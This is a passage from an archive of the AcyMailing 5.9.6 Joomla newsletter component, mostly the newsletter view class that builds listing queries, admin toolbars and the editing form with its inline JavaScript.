		<?php
	}

	$checked = (bool)($row->{$currentPage.'id'} || // The list was selected before
					  (empty($row->mailid) && empty($this->mail->mailid) && $filter_list == $row->listid) || // When creating a new newsletter when filtering by list from the listing
					  (empty($this->mail->mailid) && count($this->lists) == 1) || // When creating a newsletter and only one list available
					  (in_array($row->listid, $selectedLists))); // Selected lists on the previous page

	$classList = $checked ? 'acy_list_checked' : 'acy_list_unchecked';
	echo '<tr id="acylistrow_'.$row->listid.'" class="row'.$k.' '.$classList.'" onclick="toggleList(\''.$row->listid.'\', null);">
		<td style="display:none;" id="listId_'.$row->listid.'">'.$row->listid.'</td>
		<td style="display:none;" id="listName_'.$row->listid.'">'.$row->name.'</td>
		<td class="acytdcheckbox"><input name="data[list'.$currentPage.']['.$row->listid.']" id="datalistmail'.$row->listid.'" type="hidden" value="'.(int)$checked.'" /></td>
		<td>
			<div class="roundsubscrib rounddisp" style="background-color:'.$row->color.'"></div>';
	$text = '<b>'.acymailing_translation('ACY_ID').' : </b>'.$row->listid;
	$text .= '<br />'.$row->description;
	echo acymailing_tooltip($text, $row->name, 'tooltip.png', $row->name).'
		</td>
	</tr>';

	$k = 1 - $k;
	$i++;
}

if(count($this->lists) > 3){ ?>
	<tr>
		<td></td>
		<td nowrap="nowrap">
			<script language="javascript" type="text/javascript">
				<!--
				var selectedLists = new Array();
				<?php
				foreach($languages as $val => $listids){
					echo "selectedLists['$val'] = new Array('".implode("','", $listids)."'); ";
				}
				?>
				function updateStatus(selection){
					<?php
					$listidAll = "selectedLists['all'][i]+'listmail";
					$listidSelection = "selectedLists[selection][i]+'listmail";
					?>
					for(var i = 0; i < selectedLists['all'].length; i++){
						if(document.getElementById('acylistrow_' + selectedLists['all'][i]).style.display == 'none') continue;
						toggleList(selectedLists['all'][i], 0);
					}
					if(!selectedLists[selection]) return;
					for(i = 0; i < selectedLists[selection].length; i++){
						if(document.getElementById('acylistrow_' + selectedLists[selection][i]).style.display == 'none') continue;
						toggleList(selectedLists[selection][i], 1);
					}
				}
				-->
			</script>
			<?php
			$selectList = array();
			$selectList[] = acymailing_selectOption('none', acymailing_translation('ACY_NONE'));
			foreach($languages as $oneLang => $values){
				if($oneLang == 'all') continue;
				$selectList[] = acymailing_selectOption($oneLang, ucfirst($oneLang));
			}
			$selectList[] = acymailing_selectOption('all', acymailing_translation('ACY_ALL'));
			echo acymailing_radio($selectList, "selectlists", 'onclick="updateStatus(this.value);"', 'value', 'text');
			?>
		</td>
	</tr>
<?php } ?>
</tbody>
</table>

<script language="javascript" type="text/javascript">
	<!--
	function toggleList(id, value){
		var valueField = document.getElementById('datalistmail' + id);
		var row = document.getElementById('acylistrow_' + id);

		if(value == 1 || (valueField.value == 0 && value != 0)){
			valueField.value = 1;
			row.className = row.className.replace('acy_list_unchecked', 'acy_list_checked');
		}else{
			valueField.value = 0;
			row.className = row.className.replace('acy_list_checked', 'acy_list_unchecked');
		}
	}

	var listsCats = new Array();

	<?php
	foreach($listsPerCategory as $val => $listids){
		if(empty($val)) $val = '-1';
		echo "listsCats['".str_replace("'", "\'", $val)."'] = new Array('".implode("','", $listids)."'); ";
	}

	?>
	function checkCats(selection){
		if(!listsCats[selection]) return;
		var select = 0;
		for(var i = 0; i < listsCats[selection].length; i++){
			if(document.getElementById('acylistrow_' + listsCats[selection][i]).style.display == 'none') continue;
			if(document.getElementById('datalistmail' + listsCats[selection][i]).value == 0){
				select = 1;
				break;
			}
		}

		for(i = 0; i < listsCats[selection].length; i++){
			if(document.getElementById('acylistrow_' + listsCats[selection][i]).style.display == 'none') continue;
			toggleList(listsCats[selection][i], select);
		}
	}
	-->
</script>
com_acymailing/views/newsletter/index.html000060400000000054152455305300015042 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/views/newsletter/view.html.php000060400000111111152455305300015470 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php


class NewsletterViewNewsletter extends acymailingView{
	var $type = 'news';
	var $ctrl = 'newsletter';
	var $nameListing = 'NEWSLETTERS';
	var $nameForm = 'NEWSLETTER';
	var $icon = 'newsletter';
	var $aclCat = 'newsletters';
	var $doc = 'newsletters';

	function display($tpl = null){
		$function = $this->getLayout();
		if(method_exists($this, $function)) $this->$function();

		parent::display($tpl);
	}

	function listing(){
		$pageInfo = new stdClass();
		$pageInfo->filter = new stdClass();
		$pageInfo->filter->order = new stdClass();
		$pageInfo->limit = new stdClass();
		$pageInfo->elements = new stdClass();

		$config = acymailing_config();

		$paramBase = ACYMAILING_COMPONENT.'.'.$this->getName();
		$pageInfo->filter->order->value = acymailing_getUserVar($paramBase.".filter_order", 'filter_order', 'a.mailid', 'cmd');
		$pageInfo->filter->order->dir = acymailing_getUserVar($paramBase.".filter_order_Dir", 'filter_order_Dir', 'desc', 'word');
		if(strtolower($pageInfo->filter->order->dir) !== 'desc') $pageInfo->filter->order->dir = 'asc';

		$pageInfo->search = acymailing_getUserVar($paramBase.".search", 'search', '', 'string');
		$pageInfo->search = strtolower(trim($pageInfo->search));
		$selectedList = acymailing_getUserVar($paramBase."filter_list", 'filter_list', 0, 'int');
		$selectedCreator = acymailing_getUserVar($paramBase."filter_creator", 'filter_creator', 0, 'int');
		$selectedTags = acymailing_getUserVar($paramBase."filter_tags", 'filter_tags', array(), 'array');
		
		$pageInfo->limit->value = acymailing_getUserVar($paramBase.'.list_limit', 'limit', acymailing_getCMSConfig('list_limit'), 'int');
		$pageInfo->limit->start = acymailing_getUserVar($paramBase.'.limitstart', 'limitstart', 0, 'int');

		$searchMap = array('a.mailid', 'a.alias', 'a.subject', 'a.fromname', 'a.fromemail', 'a.replyname', 'a.replyemail', 'a.userid', 'b.'.$this->cmsUserVars->name, 'b.'.$this->cmsUserVars->username, 'b.'.$this->cmsUserVars->email);
		$filters = array();
		if(!empty($pageInfo->search)){
			$searchVal = '\'%'.acymailing_getEscaped($pageInfo->search, true).'%\'';
			$filters[] = implode(" LIKE $searchVal OR ", $searchMap)." LIKE $searchVal";
		}

		if($this->type == 'news'){
			$actionExists = acymailing_loadResult('SELECT mailid FROM #__acymailing_mail WHERE type = "action" LIMIT 1');

			$selectedType = acymailing_getUserVar($paramBase."filter_type", 'filter_type', 'news', 'string');
			if(!empty($selectedType) && $actionExists){
				$filters[] = 'a.type = '.acymailing_escapeDB($selectedType);
			}else{
				$filters[] = 'a.type IN ("news","action")';
			}
		}else{
			$filters[] = 'a.type = \''.$this->type.'\'';
		}

		if(!empty($selectedList)) $filters[] = 'c.listid = '.$selectedList;
		if(!empty($selectedCreator)) $filters[] = 'a.userid = '.$selectedCreator;
		if($this->type == 'news'){
			$selectedDate = acymailing_getUserVar($paramBase."filter_date", 'filter_date', 0, 'string');
			if(!empty($selectedDate)){
				if(strlen($selectedDate) > 4){
					$filters[] = 'DATE_FORMAT(FROM_UNIXTIME(senddate),"%Y-%m") = '.acymailing_escapeDB($selectedDate);
				}else $filters[] = 'DATE_FORMAT(FROM_UNIXTIME(senddate),"%Y") = '.acymailing_escapeDB($selectedDate);
			}
		}

		$selection = array('a.mailid', 'a.alias', 'a.subject', 'a.fromname', 'a.fromemail', 'a.replyname', 'a.replyemail', 'a.userid', 'b.'.$this->cmsUserVars->name.' AS name', 'b.'.$this->cmsUserVars->username.' AS username', 'b.'.$this->cmsUserVars->email.' AS email', 'a.created', 'a.frequency', 'a.senddate', 'a.published', 'a.type', 'a.visible', 'a.abtesting');

		if(empty($selectedList)){
			if(acymailing_isAdmin()){
				$query = 'SELECT '.implode(',', $selection).' FROM '.acymailing_table('mail').' as a';
				$queryCount = 'SELECT COUNT(a.mailid) FROM '.acymailing_table('mail').' as a';
			}else{
				$query = 'SELECT '.implode(',', $selection).' FROM '.acymailing_table('listmail').' as c';
				$query .= ' JOIN '.acymailing_table('mail').' as a on a.mailid = c.mailid ';
				$queryCount = 'SELECT COUNT(DISTINCT c.mailid) FROM '.acymailing_table('listmail').' as c';
				$queryCount .= ' JOIN '.acymailing_table('mail').' as a on a.mailid = c.mailid ';
			}
		}else{
			$query = 'SELECT '.implode(',', $selection).' FROM '.acymailing_table('listmail').' as c';
			$query .= ' JOIN '.acymailing_table('mail').' as a on a.mailid = c.mailid ';
			$queryCount = 'SELECT COUNT(c.mailid) FROM '.acymailing_table('listmail').' as c';
			$queryCount .= ' JOIN '.acymailing_table('mail').' as a on a.mailid = c.mailid ';
		}

		$query .= ' LEFT JOIN '.acymailing_table($this->cmsUserVars->table, false).' as b on a.userid = b.'.$this->cmsUserVars->id;

		if(!empty($selectedTags) && count($selectedTags) > 1){
			$tagCondition = array();
			foreach($selectedTags as $oneTag){
				if(strpos($oneTag, '|') === false) continue;
				$tag = explode('|', $oneTag);
				$tagCondition[] = intval($tag[0]);
			}
			$query .= ' JOIN #__acymailing_tagmail AS tm ON a.mailid = tm.mailid AND tagid IN ('.implode(',', $tagCondition).') ';
			$queryCount .= ' JOIN #__acymailing_tagmail AS tm ON a.mailid = tm.mailid AND tagid IN ('.implode(',', $tagCondition).') ';
		}

		$query .= ' WHERE ('.implode(') AND (', $filters).')';

		if(!empty($pageInfo->search)) $queryCount .= ' LEFT JOIN '.acymailing_table($this->cmsUserVars->table, false).' as b on a.userid = b.'.$this->cmsUserVars->id;

		$queryCount .= ' WHERE ('.implode(') AND (', $filters).')';

		$listClass = acymailing_get('class.list');
		if(!acymailing_isAdmin()){
			$lists = $listClass->getFrontendLists();
			if(!empty($lists)){
				$frontListsIds = array();
				if(empty($selectedList)){
					foreach($lists as $oneList){
						$frontListsIds[] = $oneList->listid;
					}
					$query .= ' AND c.listid IN ('.implode(',', $frontListsIds).')';
					$queryCount .= ' AND c.listid IN ('.implode(',', $frontListsIds).')';
				}
			}
			$query .= ' GROUP BY a.mailid ';
		}

		if(!empty($pageInfo->filter->order->value) && !in_array($pageInfo->filter->order->value, array('a.date', 'c.email'))){
			$query .= ' ORDER BY '.$pageInfo->filter->order->value.' '.$pageInfo->filter->order->dir;
		}

		$rows = acymailing_loadObjectList($query, 'mailid', $pageInfo->limit->start, $pageInfo->limit->value);

		if(!empty($rows)){
			$queueCount = acymailing_loadObjectList('SELECT COUNT(*) AS countqueued, mailid FROM '.acymailing_table('queue').' WHERE mailid IN ('.implode(',', array_keys($rows)).') GROUP BY mailid');
			if(!empty($queueCount)){
				foreach($queueCount as $oneQueueCount){
					$rows[$oneQueueCount->mailid]->countqueued = $oneQueueCount->countqueued;
				}
			}
		}

		$pageInfo->elements->total = acymailing_loadResult($queryCount);
		$pageInfo->elements->page = count($rows);

		$pagination = new acyPagination($pageInfo->elements->total, $pageInfo->limit->start, $pageInfo->limit->value);

		$isAdmin = false;
		if(acymailing_isAdmin()){
			$isAdmin = true;

			$buttonPreview = acymailing_translation('ACY_PREVIEW');
			$acyToolbar = acymailing_get('helper.toolbar');
			if($this->type == 'autonews'){
				$acyToolbar->custom('generate', acymailing_translation('GENERATE'), 'process', false, '');
			}elseif($this->type == 'news'){
				$buttonPreview .= ' / '.acymailing_translation('SEND');
			}

			$acyToolbar->custom('preview', $buttonPreview, 'search', true);

			if(acymailing_level(3) && acymailing_isAllowed($config->get('acl_'.$this->aclCat.'_abtesting', 'all')) && $this->type == 'news') $acyToolbar->popup('ABtesting', acymailing_translation('ABTESTING'), acymailing_completeLink('newsletter&task=abtesting', true), 800, 600);

			if(acymailing_level(3)){
				$acyToolbar->popup('import', acymailing_translation('IMPORT'), acymailing_completeLink("newsletter&task=upload", true), 450, 200);
			}
			if(acymailing_level(3) || acymailing_isAllowed($config->get('acl_'.$this->aclCat.'_copy', 'all'))) $acyToolbar->divider();

			$acyToolbar->add();
			$acyToolbar->edit();
			if(acymailing_isAllowed($config->get('acl_'.$this->aclCat.'_copy', 'all'))) $acyToolbar->copy();
			if(acymailing_isAllowed($config->get('acl_'.$this->aclCat.'_delete', 'all'))) $acyToolbar->delete();
			$acyToolbar->divider();
			$acyToolbar->help($this->doc);
			$acyToolbar->setTitle(acymailing_translation($this->nameListing), $this->ctrl);
			$acyToolbar->display();
		}

		$filters = new stdClass();
		if(acymailing_isAdmin()){
			$listmailType = acymailing_get('type.listsmail');
			$listmailType->type = $this->type;
			$filters->list = $listmailType->display('filter_list', $selectedList);
		}else{
			$accessibleLists = array();
			$accessibleLists[] = acymailing_selectOption('0', acymailing_translation('ALL_LISTS'));
			foreach($lists as $oneList){
				$accessibleLists[] = acymailing_selectOption($oneList->listid, $oneList->name);
			}
			$filters->list = acymailing_select($accessibleLists, 'filter_list', 'class="inputbox" size="1" onchange="document.adminForm.submit( );"', 'value', 'text', (int)$selectedList);
		}
		$creatorfilterType = acymailing_get('type.creatorfilter');
		$creatorfilterType->type = $this->type;

		$filters->creator = $creatorfilterType->display('filter_creator', $selectedCreator, 'mail');

		if($this->type == 'news'){
			$senddates = acymailing_loadResultArray('SELECT DATE_FORMAT(FROM_UNIXTIME(senddate),"%Y-%m") AS date FROM #__acymailing_mail WHERE senddate IS NOT NULL AND senddate != 0 AND type = "news" GROUP BY date ORDER BY date DESC');
			$sendFilter = array();
			$sendFilter[] = acymailing_selectOption('0', acymailing_translation('SEND_DATE'));
			if(!empty($senddates)){
				$currentYear = '';
				foreach($senddates as $oneSenddate){
					list($year, $month) = explode('-', $oneSenddate);
					if($year != $currentYear){
						$sendFilter[] = acymailing_selectOption($year, '- '.$year.' -');
						$currentYear = $year;
					}
					$sendFilter[] = acymailing_selectOption($oneSenddate, acymailing_date(strtotime($oneSenddate.'-15'), ACYMAILING_J16 ? 'F' : '%B', false));
				}
			}
			$filters->date = acymailing_select($sendFilter, 'filter_date', 'class="inputbox" size="1" onchange="document.adminForm.submit();"', 'value', 'text', $selectedDate);

			if(empty($actionExists)){
				$filters->type = '';
			}else{
				$typeFilter = array();
				$typeFilter[] = acymailing_selectOption('', acymailing_translation('ACY_TYPE'));
				$typeFilter[] = acymailing_selectOption('news', acymailing_translation('NEWSLETTER'));
				$typeFilter[] = acymailing_selectOption('action', acymailing_translation('ACY_DISTRIBUTION'));
				$filters->type = acymailing_select($typeFilter, 'filter_type', 'class="inputbox" size="1" onchange="document.adminForm.submit();"', 'value', 'text', $selectedType);
			}
		}

		if(acymailing_level(3)){
			$tagfieldtype = acymailing_get('type.tagfield');
			$tagfieldtype->onclick = 'document.adminForm.submit();';
			$filters->tags = $tagfieldtype->display('filter_tags', 'listing', $selectedTags);
		}else{
			$filters->tags = '';
		}

		$mailToLists = array();
		foreach($rows as $row){
			$queryList = "SELECT listid FROM #__acymailing_listmail WHERE mailid=".$row->mailid;
			$listMail = acymailing_loadObjectList($queryList, 'listid');
			$mailToLists[$row->mailid] = array_keys($listMail);
		}
		$listColor = acymailing_loadObjectList("SELECT listid, color, name FROM #__acymailing_list", 'listid');
		$this->mailToLists = $mailToLists;
		$this->listColor = $listColor;


		$this->filters = $filters;
		$toggleClass = acymailing_get('helper.toggle');
		$this->toggleClass = $toggleClass;
		$this->rows = $rows;
		$this->pageInfo = $pageInfo;
		$this->pagination = $pagination;
		$delay = acymailing_get('type.delaydisp');
		$this->delay = $delay;
		$this->config = $config;
		$this->isAdmin = $isAdmin;

		if($this->type == 'autonews'){
			$frequency = acymailing_get('type.frequency');
			$this->frequencyType = $frequency;
		}
	}

	function form(){
		$_SESSION['timeOnModification'] = time();
		$this->chosen = false;
		$mailid = acymailing_getCID('mailid');
		$templateClass = acymailing_get('class.template');
		$config = acymailing_config();

		if(!empty($mailid)){
			$mailClass = acymailing_get('class.mail');
			$mail = $mailClass->get($mailid);

			if(empty($mail->mailid)){
				acymailing_display('Newsletter '.$mailid.' not found', 'error');
				$mailid = 0;
			}
		}

		if(empty($mailid)){
			$mail = new stdClass();
			$mail->created = time();
			$mail->published = 0;
			$mail->thumb = '';
			if($this->type == 'followup') $mail->published = 1;
			$mail->visible = 1;
			$mail->html = 1;
			$mail->body = '';
			$mail->altbody = '';
			$mail->tempid = 0;

			$templateid = acymailing_getVar('int', 'templateid');
			$email = acymailing_currentUserEmail();
			if(empty($templateid) AND !empty($email)){
				$subscriberClass = acymailing_get('class.subscriber');
				$currentSubscriber = $subscriberClass->get($email);
				if(!empty($currentSubscriber->template)) $templateid = $currentSubscriber->template;
			}

			if(empty($templateid)){
				$myTemplate = $templateClass->getDefault();
			}else{
				$myTemplate = $templateClass->get($templateid);
			}

			if(!empty($myTemplate->tempid)){
				$mail->body = acymailing_absoluteURL($myTemplate->body);
				$mail->altbody = $myTemplate->altbody;
				$mail->tempid = $myTemplate->tempid;
				$mail->subject = $myTemplate->subject;
				$mail->replyname = $myTemplate->replyname;
				$mail->replyemail = $myTemplate->replyemail;
				$mail->fromname = $myTemplate->fromname;
				$mail->fromemail = $myTemplate->fromemail;
			}

			if($this->type == 'autonews'){
				$mail->frequency = 2592000;
			}

			if(!acymailing_isAdmin()){
				if($config->get('frontend_sender', 0)){
					$mail->fromname = acymailing_currentUserName();
					$mail->fromemail = acymailing_currentUserEmail();
				}else{
					if(empty($mail->fromname)) $mail->fromname = $config->get('from_name');
					if(empty($mail->fromemail)) $mail->fromemail = $config->get('from_email');
				}

				if($config->get('frontend_reply', 0)){
					$mail->replyname = acymailing_currentUserName();
					$mail->replyemail = acymailing_currentUserEmail();
				}else{
					if(empty($mail->replyname)) $mail->replyname = $config->get('reply_name');
					if(empty($mail->replyemail)) $mail->replyemail = $config->get('reply_email');
				}
			}
		}

		$sentbyname = '';
		if(!empty($mail->sentby)){
			$sentbyname = acymailing_loadResult('SELECT `'.$this->cmsUserVars->name.'` AS name FROM '.acymailing_table($this->cmsUserVars->table, false).' WHERE `'.$this->cmsUserVars->id.'`= '.intval($mail->sentby).' LIMIT 1');
		}
		$this->sentbyname = $sentbyname;

		if(acymailing_getVar('none', 'task', '') == 'replacetags'){
			$mailerHelper = acymailing_get('helper.mailer');
			$templateClass = acymailing_get('class.template');
			$mail->template = $templateClass->get($mail->tempid);

			acymailing_importPlugin('acymailing');
			$mailerHelper->triggerTagsWithRightLanguage($mail, false);

			if(!empty($mail->altbody)) $mail->altbody = $mailerHelper->textVersion($mail->altbody, false);
		}

		$extraInfos = '';
		$lists = array();
		$values = new stdClass();
		if($this->type == 'followup'){
			$campaignid = acymailing_getVar('int', 'campaign', 0);
			$extraInfos .= '&campaign='.$campaignid;

			$values->delay = acymailing_get('type.delay');
			$this->campaignid = $campaignid;
		}else{
			$listmailClass = acymailing_get('class.listmail');
			$lists = $listmailClass->getLists($mailid);
		}

		if(acymailing_isAdmin()){


			$acyToolbar = acymailing_get('helper.toolbar');
			if(acymailing_isAllowed($config->get('acl_templates_view', 'all'))){
				$acyToolbar->popup('template', acymailing_translation('ACY_TEMPLATE'), acymailing_completeLink("template&task=theme", true));
			}

			if(acymailing_isAllowed($config->get('acl_tags_view', 'all'))) $acyToolbar->popup('tag', acymailing_translation('TAGS'), acymailing_completeLink("tag&task=tag&type=".$this->type, true));

			if(in_array($this->type, array('news', 'followup')) && acymailing_isAllowed($config->get('acl_tags_view', 'all'))){
				$acyToolbar->custom('replacetags', acymailing_translation('REPLACE_TAGS'), 'replacetag', false);
			}

			$buttonPreview = acymailing_translation('ACY_PREVIEW');
			if($this->type == 'news'){
				$buttonPreview .= ' / '.acymailing_translation('SEND');
			}
			$acyToolbar->custom('savepreview', $buttonPreview, 'search', false, '');
			$acyToolbar->divider();
			$acyToolbar->addButtonOption('apply', acymailing_translation('ACY_APPLY'), 'apply', false);
			if(acymailing_isAdmin() && acymailing_level(1)){
				$acyToolbar->addButtonOption('saveastmpl', acymailing_translation('ACY_SAVEASTMPL'), 'saveastmpl', false);
			}
			$acyToolbar->save();
			$acyToolbar->cancel();
			$acyToolbar->divider();
			$acyToolbar->help($this->doc, 'stepbystep');
			$acyToolbar->setTitle(acymailing_translation($this->nameForm), $this->ctrl.'&task=edit&mailid='.$mailid.$extraInfos);
			$acyToolbar->display();
		}

		$values->maxupload = (acymailing_bytes(ini_get('upload_max_filesize')) > acymailing_bytes(ini_get('post_max_size'))) ? ini_get('post_max_size') : ini_get('upload_max_filesize');


		$toggleClass = acymailing_get('helper.toggle');
		if(!acymailing_isAdmin()){
			$toggleClass->ctrl = 'frontnewsletter';
			$toggleClass->extra = '&listid='.acymailing_getVar('int', 'listid');

			$copyAllLists = $lists;
			$userid = acymailing_currentUserId();
			foreach($copyAllLists as $listid => $oneList){
				if(!$oneList->published || empty($userid)){
					unset($lists[$listid]);
					continue;
				}
				if($oneList->access_manage == 'all') continue;
				if($userid == (int)$oneList->userid) continue;
				if(!acymailing_isAllowed($oneList->access_manage)){
					unset($lists[$listid]);
					continue;
				}
			}

			if(empty($lists)){
				acymailing_enqueueMessage('You don\'t have the rights to add or edit an e-mail', 'error');
				acymailing_redirect(acymailing_completeLink('frontnewsletter', false, true));
			}
		}


		$editor = acymailing_get('helper.editor');
		$editor->setTemplate($mail->tempid);
		$editor->name = 'editor_body';
		$editor->content = $mail->body;
		$editor->prepareDisplay();

		$js = 'function updateAcyEditor(htmlvalue){
			if(htmlvalue == "0"){
				window.document.getElementById("htmlfieldset").style.display = "none";
			}else{
				window.document.getElementById("htmlfieldset").style.display = "block";
			}
		}';

		$script = '
		var attachmentNb = 1;
		function addFileLoader(){
			if(attachmentNb > 9) return;
			window.document.getElementById("attachmentsdiv"+attachmentNb).style.display = "";
			attachmentNb++;
		}';


		$script .= '
		document.addEventListener("DOMContentLoaded", function(){
			acymailing.submitbutton = function(pressbutton) {
				if (pressbutton == "cancel") {
					acymailing.submitform(pressbutton,document.adminForm);
					return;
				}
				';

		if(!acymailing_isAdmin()){
			$script .= '
				if(document.getElementsByClassName("acy_list_checked").length < 1){
					alert("'.acymailing_translation('SELECT_LISTS', true).'");
					return false;
				}
				';
		}

		$script .= '
			var subjectObj = window.document.getElementById("subject");
			if(subjectObj.tagName.toLowerCase() == "input"){
				subjectValue = subjectObj.value;
			}else{
				subjectValue = subjectObj.innerHTML;
			}
			
			if(subjectValue.length < 2){
				alert("'.acymailing_translation('ENTER_SUBJECT', true).'");
				return false;
			}
			
			subjectValue = subjectValue.replace(/<img[^>]+>/g,"");
			aliasValue = document.getElementById("alias").value;
			if(subjectValue.length < 2 && aliasValue < 2){
				alert("'.acymailing_translation('ACY_ENTER_SUBJECT_OR_ALIAS', true).'");
				return false;
			}
			'.$editor->jsCode().'
			
			if(pressbutton == "save" || pressbutton == "apply" || pressbutton == "savepreview" || pressbutton == "replacetags" || pressbutton == "saveastmpl"){
				var emailVars = ["fromemail", "replyemail"];
				var val = "";
				for(var key in emailVars){
					if(isNaN(key)) continue;
					val = document.getElementById(emailVars[key]).value;
					if(!validateEmail(val, emailVars[key])){
						return;
					}
				}
				';

		if(!empty($mail->mailid)){
			$urlCheckVersion = acymailing_prepareAjaxURL((acymailing_isAdmin() ? '' : 'front').'newsletter').'&task=checkifedited&mailId='.$mail->mailid;
			$script .= '
				var popup = false;
				var xhr = new XMLHttpRequest();
				xhr.open("GET", "'.$urlCheckVersion.'");
				xhr.onreadystatechange = function(){
					if (xhr.readyState === 4) {
						var response = xhr.responseText.toString();
						var responseSplit = response.split("|");
						
						if(xhr.status !== 200 || response.indexOf("|") == -1 || responseSplit[0] == '.acymailing_currentUserId().'){
							acymailing.submitform(pressbutton,document.adminForm);
							return false;
						}
						
						document.getElementById("confirmTxtMM").innerHTML = responseSplit[1] + " '.acymailing_translation('ACY_SAVE_ANYWAY_NAME', true).'";
						document.getElementById("confirmBoxMM").style.display="inline";
						document.getElementById("modal-background").style.display="inline";
					}
				}
				xhr.send();
				
				return false;
			}
		};
				';
		}else{
			$script .= '}
			acymailing.submitform(pressbutton,document.adminForm);
		};';
		}

		$script .= '});';


		$script .= $editor->jsMethods();

		$script .= "
		function changeTemplate(newhtml,newtext,newsubject,stylesheet,fromname,fromemail,replyname,replyemail,tempid){
			if(newhtml.length>2){".$editor->setContent('newhtml')."}
			var vartextarea = document.getElementById('altbody');
		    if(newtext.length>2) vartextarea.innerHTML = newtext;
			document.getElementById('tempid').value = tempid;
			if(fromname.length>1){
				fromname = fromname.replace('&amp;', '&');
				document.getElementById('fromname').value = fromname;
			}
			if(fromemail.length>1){document.getElementById('fromemail').value = fromemail;}
			if(replyname.length>1){
				replyname = replyname.replace('&amp;', '&');
				document.getElementById('replyname').value = replyname;
			}
			if(replyemail.length>1){document.getElementById('replyemail').value = replyemail;}
			if(newsubject.length>1){
				newsubject = newsubject.replace('&amp;', '&');
				var subjectObj = document.getElementById('subject');
				if(subjectObj.tagName.toLowerCase() == 'input'){
					subjectObj.value = newsubject;
				}else{
				    subjectObj.innerHTML = newsubject;
				}
			}
			".$editor->setEditorStylesheet('tempid')."
		}
		";

		if($mail->html == 1){
			$script .= "var zoneEditor = 'editor_body';";
		}else{
			$script .= "var zoneEditor = 'altbody';";
		}
		$script .= "
			document.addEventListener('DOMContentLoaded', function(){
				setTimeout(function() {
					document.getElementById('htmlfieldset').addEventListener('click', function(){
						zoneToTag = 'editor';
					});	
					
					var ediframe = document.getElementById('htmlfieldset').getElementsByTagName('iframe');
					if(ediframe && ediframe[0]){
						var children = ediframe[0].contentDocument.getElementsByTagName('*');
						for (var i = 0; i < children.length; i++) {
							children[i].addEventListener('click', function(){
								zoneToTag = 'editor';
							});			
						}
					}		
				}, 1000);
			});
		
			var zoneToTag = 'editor';
			function initTagZone(html){ if(html == 0){ zoneEditor = 'altbody'; }else{ zoneEditor = 'editor_body'; }}
		";

		$script .= "var previousSelection = false;
			function insertTag(tag){
				if(zoneEditor == 'editor_body' && zoneToTag == 'editor'){
					try{
						jInsertEditorText(tag,'editor_body',previousSelection);
						return true;
					} catch(err){
						alert('Your editor does not enable AcyMailing to automatically insert the tag, please copy/paste it manually in your Newsletter');
						return false;
					}
				} else{
					try{
						simpleInsert(zoneToTag, tag);
						return true;
					} catch(err){
						alert('Error inserting the tag in the '+ zoneToTag + 'zone. Please copy/paste it manually in your Newsletter.');
						return false;
					}
				}
			}
				
			function simpleInsert(myField, myValue) {
				myField = document.getElementById(myField);

				if (document.selection) {
					myField.focus();
					sel = document.selection.createRange();
					sel.text = myValue;
				} else if (myField.selectionStart || myField.selectionStart == '0') {
					var startPos = myField.selectionStart;
					var endPos = myField.selectionEnd;
					myField.value = myField.value.substring(0, startPos)
						+ myValue
						+ myField.value.substring(endPos, myField.value.length);
				} else if (myField.tagName == 'DIV') {
					myField.innerHTML += myValue;
					document.getElementById('subject').value += myValue;
				} else {
					myField.value += myValue;
				}
			}";

		$script .= "function deleteAttachment(i){
			document.getElementById('attachments'+i+'selection').innerHTML = '';
			document.getElementById('attachments'+i+'suppr').style.display = 'none';
			document.getElementById('attachments'+i).value = '';
			return;
		}";

		acymailing_addScript(true, $js.$script);

		$css = '#confirmBoxMM {
			width: 370px;
			background: rgba(255, 255, 255, 0.8);
			border: 1px solid #d6d6d6;
			padding: 5px;
			border-radius: 5px;
			box-shadow: 1px 1px 5px #dddddd;
			-moz-box-shadow: 1px 1px 5px #dddddd;
			-webkit-box-shadow: 1px 1px 5px #dddddd;
			position: fixed;
			left: 43%;
			top: 40%;
			z-index: 999;
		}
		
		#modal-background{
			position: fixed;
			top: 0px;
			right: 0px;
			left: 0px;
			bottom: 0px;
			z-index: 998;
			background-color: #000;
			opacity: 0.8;
		}
		
		#confirmOkMM:hover{
			-moz-transition: 0.3s;
		  	-o-transition: 0.3s;
		  	-webkit-transition: 0.3S
			transition: 0.3s;
			opacity: 0.7;
		}';

		if(!empty($mail->mailid)) acymailing_addStyle(true, $css);
		$installedPlugin = acymailing_getPlugin('acymailing', 'emojis');
		if(!empty($installedPlugin)){
			$params = new acyParameter($installedPlugin->params);
			if(acymailing_isPluginEnabled('acymailing', 'emojis') && $params->get('subject', 1) == 1){
				if(!ACYMAILING_J30){
					acymailing_addScript(false, ACYMAILING_JS.'jquery/jquery-1.9.1.min.js?v='.filemtime(ACYMAILING_ROOT.'media'.DS.'com_acymailing'.DS.'js'.DS.'jquery'.DS.'jquery-1.9.1.min.js'));
					acymailing_addScript(false, ACYMAILING_JS.'jquery/jquery-ui.min.js?v='.filemtime(ACYMAILING_ROOT.'media'.DS.'com_acymailing'.DS.'js'.DS.'jquery'.DS.'jquery-ui.min.js'));
				}

				acymailing_addScript(false, acymailing_rootURI().'plugins/editors/acyeditor/acyeditor/ckeditor/plugins/smiley/emojionearea.js?v='.filemtime(ACYMAILING_ROOT.'plugins'.DS.'editors'.DS.'acyeditor'.DS.'acyeditor'.DS.'ckeditor'.DS.'plugins'.DS.'smiley'.DS.'emojionearea.js'));
				acymailing_addScript(false, acymailing_rootURI().'plugins/editors/acyeditor/acyeditor/ckeditor/plugins/smiley/dialogs/emojimap.js?v='.filemtime(ACYMAILING_ROOT.'plugins'.DS.'editors'.DS.'acyeditor'.DS.'acyeditor'.DS.'ckeditor'.DS.'plugins'.DS.'smiley'.DS.'dialogs'.DS.'emojimap.js'));
				acymailing_addStyle(false, acymailing_rootURI().'plugins/editors/acyeditor/acyeditor/ckeditor/plugins/smiley/emojionearea.css?v='.filemtime(ACYMAILING_ROOT.'plugins'.DS.'editors'.DS.'acyeditor'.DS.'acyeditor'.DS.'ckeditor'.DS.'plugins'.DS.'smiley'.DS.'emojionearea.css'));
				acymailing_addScript(true, '
					document.addEventListener("DOMContentLoaded", function(){
						jQuery("#subject").emojioneArea({
							pickerPosition: "bottom",
							shortnames: true
						});
					});
				');
			}
		}

		if($this->type == 'autonews'){
			$this->frequencyType = acymailing_get('type.frequency');
			$this->generatingMode = acymailing_get('type.generatemode');
		}

